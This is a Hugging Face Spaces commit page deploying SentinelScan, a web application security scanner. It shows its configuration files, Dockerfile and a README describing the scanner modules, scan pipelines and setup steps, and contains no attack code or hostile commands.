Spaces:
Running on CPU Upgrade
Running on CPU Upgrade
Deploy SentinelScan WSS to HF Spaces
Browse filesThis view is limited to 50 files because it contains too many changes. See raw diff
- .env.example +35 -0
- .gitattributes +7 -0
- .gitignore +77 -0
- Dockerfile +48 -0
- README.md +254 -10
- app.py +41 -0
- backend/scanners/__init__.py +453 -0
- backend/scanners/admin_panel_scanner.py +195 -0
- backend/scanners/ai_remediation_scanner.py +401 -0
- backend/scanners/api_scanner.py +169 -0
- backend/scanners/api_security_scanner.py +538 -0
- backend/scanners/attack_surface_scanner.py +227 -0
- backend/scanners/auth_scanner.py +506 -0
- backend/scanners/base_scanner.py +694 -0
- backend/scanners/blind_xss_scanner.py +126 -0
- backend/scanners/broken_link_scanner.py +256 -0
- backend/scanners/business_logic_scanner.py +493 -0
- backend/scanners/bypass_403_scanner.py +156 -0
- backend/scanners/cache_control_scanner.py +69 -0
- backend/scanners/cache_poisoning_scanner.py +194 -0
- backend/scanners/cert_transparency_scanner.py +70 -0
- backend/scanners/clickjacking_scanner.py +179 -0
- backend/scanners/cloud_scanner.py +62 -0
- backend/scanners/cms_scanner.py +207 -0
- backend/scanners/command_injection_scanner.py +386 -0
- backend/scanners/compliance_scanner.py +227 -0
- backend/scanners/cookie_scanner.py +355 -0
- backend/scanners/core/__init__.py +6 -0
- backend/scanners/core/baseline.py +152 -0
- backend/scanners/core/confidence.py +128 -0
- backend/scanners/core/signatures.py +268 -0
- backend/scanners/cors_scanner.py +278 -0
- backend/scanners/crlf_scanner.py +162 -0
- backend/scanners/csp_scanner.py +280 -0
- backend/scanners/csrf_scanner.py +495 -0
- backend/scanners/csti_scanner.py +186 -0
- backend/scanners/custom_website_scanner.py +288 -0
- backend/scanners/cve_scanner.py +169 -0
- backend/scanners/dependency_scanner.py +257 -0
- backend/scanners/deserialization_scanner.py +373 -0
- backend/scanners/directory_scanner.py +768 -0
- backend/scanners/dns_rebinding_scanner.py +267 -0
- backend/scanners/dns_security_scanner.py +279 -0
- backend/scanners/dom_xss_scanner.py +157 -0
- backend/scanners/email_security_scanner.py +90 -0
- backend/scanners/exif_scanner.py +63 -0
- backend/scanners/file_upload_scanner.py +442 -0
- backend/scanners/fuzzer_scanner.py +838 -0
- backend/scanners/git_exposure_scanner.py +132 -0
- backend/scanners/graphql_scanner.py +589 -0
.env.example
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# ============================================================================
|
| 2 |
+
# SentinelScan (WSS) — Environment Variables
|
| 3 |
+
# Copy this file to .env and fill in your actual values.
|
| 4 |
+
# ============================================================================
|
| 5 |
+
|
| 6 |
+
# --- Flask ---
|
| 7 |
+
FLASK_ENV=development
|
| 8 |
+
JWT_SECRET=your-super-secret-jwt-key-here
|
| 9 |
+
|
| 10 |
+
# --- Database (GCP Cloud SQL — PostgreSQL) ---
|
| 11 |
+
DATABASE_URL=postgresql://user:password@host:5432/dbname
|
| 12 |
+
|
| 13 |
+
# --- Redis (Celery broker) ---
|
| 14 |
+
CELERY_BROKER_URL=redis://localhost:6379/0
|
| 15 |
+
CELERY_RESULT_BACKEND=redis://localhost:6379/0
|
| 16 |
+
|
| 17 |
+
# --- Firebase Cloud Storage ---
|
| 18 |
+
FIREBASE_CREDENTIALS=serviceAccountKey.json
|
| 19 |
+
FIREBASE_STORAGE_BUCKET=your-project-id.appspot.com
|
| 20 |
+
|
| 21 |
+
# --- Local uploads (fallback when Firebase is not configured) ---
|
| 22 |
+
# UPLOAD_FOLDER=./uploads/logos
|
| 23 |
+
|
| 24 |
+
# --- Email (Resend) ---
|
| 25 |
+
RESEND_API_KEY=re_your_resend_api_key
|
| 26 |
+
|
| 27 |
+
# --- Stripe (payments) ---
|
| 28 |
+
STRIPE_SECRET_KEY=sk_live_your_stripe_key
|
| 29 |
+
|
| 30 |
+
# --- External URLs ---
|
| 31 |
+
FRONTEND_URL=http://localhost:3000
|
| 32 |
+
|
| 33 |
+
# --- Scanner tuning ---
|
| 34 |
+
SCANNER_RATE_LIMIT=60
|
| 35 |
+
SCANNER_RATE_WINDOW=60
|
.gitattributes
CHANGED
|
@@ -33,3 +33,10 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
|
| 33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
| 34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
| 35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
| 34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
| 35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
| 36 |
+
frontend/public/larshieldlogowhite.png filter=lfs diff=lfs merge=lfs -text
|
| 37 |
+
frontend/public/logo.jpg filter=lfs diff=lfs merge=lfs -text
|
| 38 |
+
frontend/public/report_barchart.png filter=lfs diff=lfs merge=lfs -text
|
| 39 |
+
frontend/public/reports/API_Security_Assessment_Methodology.pdf filter=lfs diff=lfs merge=lfs -text
|
| 40 |
+
frontend/public/reports/Deep_Scan_Report.pdf filter=lfs diff=lfs merge=lfs -text
|
| 41 |
+
frontend/public/reports/Mobile_App_Penetration_Testing_Guide_2026.pdf filter=lfs diff=lfs merge=lfs -text
|
| 42 |
+
frontend/src/assets/Larxius[[:space:]]White[[:space:]]logo.jpg filter=lfs diff=lfs merge=lfs -text
|
.gitignore
ADDED
|
@@ -0,0 +1,77 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# === Secrets / Credentials ===
|
| 2 |
+
.env
|
| 3 |
+
serviceAccountKey.json
|
| 4 |
+
*.pem
|
| 5 |
+
*.key
|
| 6 |
+
|
| 7 |
+
# === Python ===
|
| 8 |
+
__pycache__/
|
| 9 |
+
*.py[cod]
|
| 10 |
+
*$py.class
|
| 11 |
+
*.egg-info/
|
| 12 |
+
*.egg
|
| 13 |
+
dist/
|
| 14 |
+
build/
|
| 15 |
+
*.so
|
| 16 |
+
*.pyd
|
| 17 |
+
|
| 18 |
+
# === Virtual Environments ===
|
| 19 |
+
venv/
|
| 20 |
+
.venv/
|
| 21 |
+
env/
|
| 22 |
+
ENV/
|
| 23 |
+
|
| 24 |
+
# === IDE ===
|
| 25 |
+
.vscode/
|
| 26 |
+
.idea/
|
| 27 |
+
*.swp
|
| 28 |
+
*.swo
|
| 29 |
+
*~
|
| 30 |
+
|
| 31 |
+
# === OS ===
|
| 32 |
+
.DS_Store
|
| 33 |
+
Thumbs.db
|
| 34 |
+
desktop.ini
|
| 35 |
+
|
| 36 |
+
# === Logs ===
|
| 37 |
+
*.log
|
| 38 |
+
security_events.log
|
| 39 |
+
|
| 40 |
+
# === Pytest / Coverage ===
|
| 41 |
+
.pytest_cache/
|
| 42 |
+
.coverage
|
| 43 |
+
htmlcov/
|
| 44 |
+
|
| 45 |
+
# === Database (local SQLite) ===
|
| 46 |
+
*.db
|
| 47 |
+
*.sqlite3
|
| 48 |
+
|
| 49 |
+
# === Uploads (moved to Firebase Storage) ===
|
| 50 |
+
uploads/
|
| 51 |
+
|
| 52 |
+
# === Frontend build/dist ===
|
| 53 |
+
frontend/node_modules/
|
| 54 |
+
frontend/dist/
|
| 55 |
+
frontend/dist-ssr/
|
| 56 |
+
|
| 57 |
+
# === Migrations (unused scaffolding) ===
|
| 58 |
+
migrations/
|
| 59 |
+
|
| 60 |
+
# === Tools (scanner binaries, download at runtime) ===
|
| 61 |
+
Tools/
|
| 62 |
+
|
| 63 |
+
# === Brand assets (not runtime) ===
|
| 64 |
+
larxiius logo.jpg
|
| 65 |
+
|
| 66 |
+
# === Large doc artifacts ===
|
| 67 |
+
docs/*.pdf
|
| 68 |
+
docs/*.docx
|
| 69 |
+
|
| 70 |
+
# === Node ===
|
| 71 |
+
node_modules/
|
| 72 |
+
|
| 73 |
+
# === Misc ===
|
| 74 |
+
*.local
|
| 75 |
+
*.bak
|
| 76 |
+
*.tmp
|
| 77 |
+
*.orig
|
Dockerfile
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# ============================================================================
|
| 2 |
+
# SentinelScan — Single-container build for Hugging Face Spaces
|
| 3 |
+
# Multi-stage: builds React frontend, then bundles with Flask backend
|
| 4 |
+
# ============================================================================
|
| 5 |
+
|
| 6 |
+
# --- Stage 1: Build React frontend ---
|
| 7 |
+
FROM node:20-alpine AS frontend-build
|
| 8 |
+
|
| 9 |
+
WORKDIR /app/frontend
|
| 10 |
+
COPY frontend/package.json frontend/package-lock.json* ./
|
| 11 |
+
RUN npm ci
|
| 12 |
+
COPY frontend/ .
|
| 13 |
+
RUN npm run build
|
| 14 |
+
|
| 15 |
+
# --- Stage 2: Python backend + built frontend ---
|
| 16 |
+
FROM python:3.11-slim
|
| 17 |
+
|
| 18 |
+
WORKDIR /app
|
| 19 |
+
|
| 20 |
+
# Install system deps: gcc (C extensions), nmap (Nmap scanner), libpq (psycopg2)
|
| 21 |
+
RUN apt-get update && apt-get install -y --no-install-recommends \
|
| 22 |
+
gcc \
|
| 23 |
+
libpq-dev \
|
| 24 |
+
nmap \
|
| 25 |
+
&& rm -rf /var/lib/apt/lists/*
|
| 26 |
+
|
| 27 |
+
# Install Python dependencies
|
| 28 |
+
COPY requirements.txt .
|
| 29 |
+
RUN pip install --no-cache-dir -r requirements.txt
|
| 30 |
+
|
| 31 |
+
# Copy backend source
|
| 32 |
+
COPY backend/ backend/
|
| 33 |
+
COPY backend_structured/ backend_structured/
|
| 34 |
+
COPY app.py .
|
| 35 |
+
COPY .env.example .
|
| 36 |
+
|
| 37 |
+
# Copy built React frontend from Stage 1
|
| 38 |
+
COPY --from=frontend-build /app/frontend/dist/ frontend/dist/
|
| 39 |
+
|
| 40 |
+
# Production env defaults (HF Secrets override these at runtime)
|
| 41 |
+
ENV FLASK_ENV=production \
|
| 42 |
+
PYTHONUNBUFFERED=1
|
| 43 |
+
|
| 44 |
+
EXPOSE 7860
|
| 45 |
+
|
| 46 |
+
CMD ["gunicorn", "--bind", "0.0.0.0:7860", "--workers", "1", \
|
| 47 |
+
"--timeout", "300", "-k", "geventwebsocket.gunicorn.workers.GeventWebSocketWorker", \
|
| 48 |
+
"app:app"]
|
README.md
CHANGED
|
@@ -1,10 +1,254 @@
|
|
| 1 |
-
|
| 2 |
-
|
| 3 |
-
|
| 4 |
-
|
| 5 |
-
|
| 6 |
-
|
| 7 |
-
|
| 8 |
-
|
| 9 |
-
|
| 10 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# 🛡️ SentinelScan — Website Security Scanner (WSS)
|
| 2 |
+
|
| 3 |
+
SentinelScan is a full-stack, enterprise-grade **Dynamic Application Security Testing (DAST)** platform designed to automate vulnerability detection across target domains and web APIs. Featuring a highly modular architecture, SentinelScan orchestrates a pipeline of custom security scanning agents concurrently, storing findings in a structured database and presenting them in a premium, real-time dashboard.
|
| 4 |
+
|
| 5 |
+
---
|
| 6 |
+
|
| 7 |
+
## 🚀 Key Features
|
| 8 |
+
|
| 9 |
+
* **Multi-Agent Concurrency**: Uses an asynchronous thread pool execution model (`ThreadPoolExecutor`) inside Celery tasks to run up to 17 specialized scanner modules in parallel.
|
| 10 |
+
* **Real-time Log Streaming**: Captures and exposes live, color-coded execution logs in-memory, enabling users to monitor active scans line-by-line.
|
| 11 |
+
* **Scheduled Scans**: Leverage Celery Beat to automate recurring scans (daily, weekly, monthly) for regular status monitoring.
|
| 12 |
+
* **Alert Webhooks**: Automatically dispatches security alerts to external services (e.g., Discord, custom webhooks) when critical or high vulnerabilities are discovered.
|
| 13 |
+
* **Authenticated Scanning**: Supports credentials/cookies injection via custom HTTP request headers, bypassing login perimeters to test deep backend routes.
|
| 14 |
+
* **Interactive Remediation**: Offers interactive, language-specific code remediation templates for each identified vulnerability type.
|
| 15 |
+
* **Dynamic PDF Reports**: Generates professional PDF summaries of completed scans, containing detailed risk score matrices and remediation guidelines.
|
| 16 |
+
|
| 17 |
+
---
|
| 18 |
+
|
| 19 |
+
## 📁 Directory Structure
|
| 20 |
+
|
| 21 |
+
```text
|
| 22 |
+
Project-WSS/
|
| 23 |
+
├── backend/ # Flask Backend Application
|
| 24 |
+
│ ├── app/ # Main Flask Application Package
|
| 25 |
+
│ │ ├── routes/ # REST API Endpoints & Route Blueprints
|
| 26 |
+
│ │ │ ├── auth.py # User Authentication (Login, Register)
|
| 27 |
+
│ │ │ ├── reports.py # PDF Generation and Scan Reports
|
| 28 |
+
│ │ │ ├── scans.py # Scan Configuration, Triggering, Logs
|
| 29 |
+
│ │ │ └── vulnerabilities.py # Remediation & Vulnerability Queries
|
| 30 |
+
│ │ ├── scanners/ # Security Engine Modules & Core Pipelines
|
| 31 |
+
│ │ │ ├── __init__.py # Pipeline Definitions and Class Dispatcher
|
| 32 |
+
│ │ │ ├── api_scanner.py # Exposed REST API Route Finder
|
| 33 |
+
│ │ │ ├── base_scanner.py # Abstract Base Class and Shared Log Utilities
|
| 34 |
+
│ │ │ ├── cloud_scanner.py # Public S3/Cloud Storage Auditor
|
| 35 |
+
│ │ │ ├── cors_scanner.py # CORS Misconfigurations Tester
|
| 36 |
+
│ │ │ ├── cve_scanner.py # Vulnerability Database Version Matcher
|
| 37 |
+
│ │ │ ├── directory_scanner.py# Directory/File brute-forcer
|
| 38 |
+
│ │ │ ├── fuzzer_scanner.py # SQLi & XSS Parameter Fuzzer
|
| 39 |
+
│ │ │ ├── headers_scanner.py # HTTP Security Headers & Cache Poisoning
|
| 40 |
+
│ │ │ ├── nmap_scanner.py # Port & Service Banner Scanner (via Nmap)
|
| 41 |
+
│ │ │ ├── nuclei_scanner.py # Nuclei Template-based Scanner
|
| 42 |
+
│ │ │ ├── robots_scanner.py # robots.txt Crawler
|
| 43 |
+
│ │ │ ├── secrets_scanner.py # Page Secrets/API Key Scanner
|
| 44 |
+
│ │ │ ├── sslyze_scanner.py # SSL/TLS Configurations & Ciphers Auditor
|
| 45 |
+
│ │ │ ├── subdomain_scanner.py# Subdomain DNS Enumerator
|
| 46 |
+
│ │ │ ├── tech_scanner.py # Technology Stack Fingerprinting
|
| 47 |
+
│ │ │ ├── waf_scanner.py # WAF Detection & Fingerprinting
|
| 48 |
+
│ │ │ ├── whois_scanner.py # Domain Registrar and Whois Lookup
|
| 49 |
+
│ │ │ └── zap_scanner.py # OWASP ZAP Active Spider Integration
|
| 50 |
+
│ │ ├── utils/ # Utility Scripts & Helpers
|
| 51 |
+
│ │ │ ├── pdf_generator.py # ReportLab PDF Generation
|
| 52 |
+
│ │ │ └── webhook.py # Discord & Webhook Dispatcher
|
| 53 |
+
│ │ ├── database.py # SQLAlchemy Extension Instance
|
| 54 |
+
│ │ ├── extensions.py # Rate Limiter & Security Extensions
|
| 55 |
+
│ │ ├── models.py # SQLAlchemy Database Models (SQLite/PostgreSQL)
|
| 56 |
+
│ │ └── scanner.py # Celery Tasks, Beat Schedules & Orchestration
|
| 57 |
+
│ ├── celery_app.py # Celery Broker and Beat Scheduler Configuration
|
| 58 |
+
│ ├── config.py # Environment Variable Parsing and App Constants
|
| 59 |
+
│ ├── requirements.txt # Python Dependencies List
|
| 60 |
+
│ ├── run.py # Flask Application Startup Launcher
|
| 61 |
+
│ └── .env # Local Environment Secret Key Configurations
|
| 62 |
+
│
|
| 63 |
+
├── frontend/ # React Frontend Application (Vite-powered SPA)
|
| 64 |
+
│ ├── src/ # React Application Source
|
| 65 |
+
│ │ ├── assets/ # SVGs, Fonts, and Static UI Elements
|
| 66 |
+
│ │ ├── components/ # Reusable UI Components
|
| 67 |
+
│ │ │ ├── AuthContext.jsx # Global JWT Login State & API Interceptor
|
| 68 |
+
│ │ │ ├── CodeBlock.jsx # Syntax-highlighted Remediation Viewer
|
| 69 |
+
│ │ │ ├── Layout.jsx # Dashboard App Shell & Navigation Sidebar
|
| 70 |
+
│ │ │ ├── ProtectedRoute.jsx # Auth Check Router Wrapper
|
| 71 |
+
│ │ │ └── ThreatGauge.jsx # SVG Semi-circle Security Score Indicator
|
| 72 |
+
│ │ ├── pages/ # Top-level Routing View Pages
|
| 73 |
+
│ │ │ ├── Dashboard.jsx # Overview, Scan Metrics, and Status Cards
|
| 74 |
+
│ │ │ ├── LandingPage.jsx # Modern Dark Mode Promotional Marketing Page
|
| 75 |
+
│ │ │ ├── Login.jsx # Clean Secure Authentication Portal
|
| 76 |
+
│ │ │ ├── NewScan.jsx # Target, Pipeline and Cookie Configurations
|
| 77 |
+
│ │ │ ├── Register.jsx # Account Creation Portal
|
| 78 |
+
│ │ │ ├── ReportsHistory.jsx # Past Scan Lists and Export Center
|
| 79 |
+
│ │ │ ├── ScanResults.jsx # Vulnerability breakdown & Live terminal logs
|
| 80 |
+
│ │ │ └── Settings.jsx # Notification threshold & webhook configuration
|
| 81 |
+
│ │ ├── App.css # Main Layout styling
|
| 82 |
+
│ │ ├── App.jsx # Routing configuration
|
| 83 |
+
│ │ ├── index.css # Global theme tokens, inputs, animations
|
| 84 |
+
│ │ ├── main.jsx # DOM Injection root
|
| 85 |
+
│ │ ├── mockApi.js # Standalone local frontend mock testing DB
|
| 86 |
+
│ │ └── theme.css # Precision Sentinel palette values
|
| 87 |
+
│ ├── vite.config.js # React Hot Module Reloading server options
|
| 88 |
+
│ └── package.json # Frontend NPM scripts & dependencies
|
| 89 |
+
│
|
| 90 |
+
└── docker-compose.yml # Multi-container orchestrator (Redis service)
|
| 91 |
+
```
|
| 92 |
+
|
| 93 |
+
---
|
| 94 |
+
|
| 95 |
+
## 🏛️ System Architecture
|
| 96 |
+
|
| 97 |
+
```mermaid
|
| 98 |
+
graph TD
|
| 99 |
+
User([Security Auditor]) -->|Browser| FE[React Frontend SPA]
|
| 100 |
+
FE -->|API Requests| BE[Flask Web Backend]
|
| 101 |
+
BE -->|Store Scans/Vulns| DB[(SQLite / PostgreSQL)]
|
| 102 |
+
BE -->|Enqueue Jobs| Redis[(Redis Broker)]
|
| 103 |
+
Celery[Celery Task Workers] -->|Dequeue Jobs| Redis
|
| 104 |
+
Celery -->|Write Live Logs| MemLog[(In-Memory Logs)]
|
| 105 |
+
Celery -->|Execute Scanners Concurrently| Scanners{Scanner Suite}
|
| 106 |
+
Scanners -->|Target Requests| Target[Target System]
|
| 107 |
+
Scanners -->|Persist Findings| DB
|
| 108 |
+
Celery -->|Trigger Alert| Webhook[Webhook Notification]
|
| 109 |
+
```
|
| 110 |
+
|
| 111 |
+
### Backend Components
|
| 112 |
+
1. **Flask (REST API)**: Exposes endpoints for managing accounts, starting scans, listing results, downloading PDFs, and tracking setting updates.
|
| 113 |
+
2. **Celery Worker**: Dequeues scan tasks and runs them asynchronously.
|
| 114 |
+
3. **ThreadPoolExecutor**: Multi-threads individual scanners inside a Celery task.
|
| 115 |
+
4. **Celery Beat**: Runs continuously to process scheduled periodic scans.
|
| 116 |
+
5. **Redis**: Acts as the fast in-memory message broker.
|
| 117 |
+
|
| 118 |
+
---
|
| 119 |
+
|
| 120 |
+
## 🗄️ Database Schema
|
| 121 |
+
|
| 122 |
+
The database schema, defined in `backend/app/models.py`, includes five main tables:
|
| 123 |
+
|
| 124 |
+
1. **`User`**: Manages credential hashing (via `bcrypt`) and session links.
|
| 125 |
+
2. **`Scan`**: Details the target domain, scan mode (Quick, Standard, Deep), authorization headers, overall security score, scan status, and timings.
|
| 126 |
+
3. **`Vulnerability`**: Stores findings linked to a scan. Contains details like CVSS score, severity classification, category, description, and copy-pasteable remediation snippets.
|
| 127 |
+
4. **`ScheduledScan`**: Saves user-configured scanning intervals (daily, weekly, monthly) for targets.
|
| 128 |
+
5. **`AlertSettings`**: Manages notification flags, webhook URL destinations, and minimum severity thresholds.
|
| 129 |
+
|
| 130 |
+
---
|
| 131 |
+
|
| 132 |
+
## ⚙️ Scan Pipelines
|
| 133 |
+
|
| 134 |
+
Pipeline routes are configured in `backend/app/scanners/__init__.py`. Depending on the target criticality and scan duration limits, auditors choose between:
|
| 135 |
+
|
| 136 |
+
| Pipeline | Target Speed | Underlying Scanner Suite | Description |
|
| 137 |
+
| :--- | :--- | :--- | :--- |
|
| 138 |
+
| **`Quick`** | ~30 seconds | Headers, Nmap (top 100 ports), SSLyze, Tech stack, WHOIS, WAF | Surface audit for standard misconfigurations |
|
| 139 |
+
| **`Standard`** | ~2–3 minutes | Quick + SQLi/XSS Fuzzer, Subdomains, API pathways, Cloud, Secrets, CVEs | Comprehensive assessment of application business logic |
|
| 140 |
+
| **`Deep`** | ~10–15 minutes| Standard + CORS, robots.txt, Directory brute-force, Nuclei, ZAP (active) | Deep crawling and automated vulnerability exploitation |
|
| 141 |
+
| **`SSL`** | ~15 seconds | SSLyze, Headers | SSL certificate validation and cipher security audit |
|
| 142 |
+
| **`Port`** | ~45 seconds | Nmap (standard 1000 ports) | Port and network service banner reconnaissance |
|
| 143 |
+
|
| 144 |
+
---
|
| 145 |
+
|
| 146 |
+
## 🛠️ The Scanner Suite (17 Specialized Modules)
|
| 147 |
+
|
| 148 |
+
Each scanner inherits from `BaseScanner` (`backend/app/scanners/base_scanner.py`) which coordinates logging, domain parsing, and vulnerability formatting:
|
| 149 |
+
|
| 150 |
+
1. **Headers Scanner (`headers_scanner.py`)**: Checks HTTP security headers (HSTS, CSP, CORS, X-Frame-Options, permissions, Referrer policy) and runs a custom check for HTTP host parameter cache poisoning.
|
| 151 |
+
2. **Nmap Scanner (`nmap_scanner.py`)**: Fires `nmap` commands directly via sub-process, checking exposed network services and testing for vulnerabilities using script scanning banners.
|
| 152 |
+
3. **SSLyze Scanner (`sslyze_scanner.py`)**: Audits SSL certificates, verifying trust status, expiration, and highlighting weak legacy protocols (TLS 1.0, SSLv3).
|
| 153 |
+
4. **Tech Scanner (`tech_scanner.py`)**: Fingerprints backend technologies, libraries, servers, and frameworks.
|
| 154 |
+
5. **Whois Scanner (`whois_scanner.py`)**: Looks up registrar information, IP ownership, and registration details.
|
| 155 |
+
6. **WAF Scanner (`waf_scanner.py`)**: Detects the presence of firewalls (Cloudflare, AWS WAF, ModSecurity, etc.) by inspecting response indicators.
|
| 156 |
+
7. **CORS Scanner (`cors_scanner.py`)**: Audits cross-origin resource sharing declarations to prevent credential leaks.
|
| 157 |
+
8. **Robots Scanner (`robots_scanner.py`)**: Parses target `robots.txt` entries to extract hidden directories or disallowed routes.
|
| 158 |
+
9. **Directory Scanner (`directory_scanner.py`)**: Brute-forces directories using wordlists to discover hidden panels (`/admin`, `/phpmyadmin`, `/api/v1`).
|
| 159 |
+
10. **Fuzzer Scanner (`fuzzer_scanner.py`)**: Performs automated query parameter fuzzing, validating parameters against Cross-Site Scripting (XSS) and SQL Injection (SQLi) patterns.
|
| 160 |
+
11. **API Scanner (`api_scanner.py`)**: Maps routing interfaces, documenting open APIs and JSON payloads.
|
| 161 |
+
12. **Cloud Scanner (`cloud_scanner.py`)**: Audits exposed public storage assets (AWS S3 Buckets, Azure Blobs, etc.).
|
| 162 |
+
13. **Secrets Scanner (`secrets_scanner.py`)**: Scrapes source HTML code for exposed keys, AWS access IDs, and connection credentials.
|
| 163 |
+
14. **CVE Scanner (`cve_scanner.py`)**: Cross-references identified technology versions against public vulnerability registries.
|
| 164 |
+
15. **Nuclei Scanner (`nuclei_scanner.py`)**: Performs targeted scans using ProjectDiscovery's template engine.
|
| 165 |
+
16. **ZAP Scanner (`zap_scanner.py`)**: Coordinates deep active spider scanning via the OWASP ZAP API integration.
|
| 166 |
+
17. **CORS/API Helper Scanners**: Secondary scanners focused on validation and authorization testing.
|
| 167 |
+
|
| 168 |
+
---
|
| 169 |
+
|
| 170 |
+
## 🚀 Setup & Local Execution
|
| 171 |
+
|
| 172 |
+
### Prerequisites
|
| 173 |
+
* **Python 3.10+**
|
| 174 |
+
* **Node.js v18+**
|
| 175 |
+
* **Nmap** (must be added to system `PATH` environment variables)
|
| 176 |
+
* **Redis** (running locally on port `6379`)
|
| 177 |
+
|
| 178 |
+
---
|
| 179 |
+
|
| 180 |
+
### Step 1: Start Redis
|
| 181 |
+
You can run Redis using Docker:
|
| 182 |
+
```bash
|
| 183 |
+
docker-compose up -d
|
| 184 |
+
```
|
| 185 |
+
|
| 186 |
+
---
|
| 187 |
+
|
| 188 |
+
### Step 2: Configure and Start Backend
|
| 189 |
+
|
| 190 |
+
1. Navigate to the backend directory:
|
| 191 |
+
```bash
|
| 192 |
+
cd backend
|
| 193 |
+
```
|
| 194 |
+
2. Create a virtual environment and activate it:
|
| 195 |
+
```bash
|
| 196 |
+
python -m venv venv
|
| 197 |
+
# On Windows:
|
| 198 |
+
venv\Scripts\activate
|
| 199 |
+
# On Unix/macOS:
|
| 200 |
+
source venv/bin/activate
|
| 201 |
+
```
|
| 202 |
+
3. Install dependencies:
|
| 203 |
+
```bash
|
| 204 |
+
pip install -r requirements.txt
|
| 205 |
+
```
|
| 206 |
+
4. Verify your `.env` configuration. Ensure the keys and configurations are correct.
|
| 207 |
+
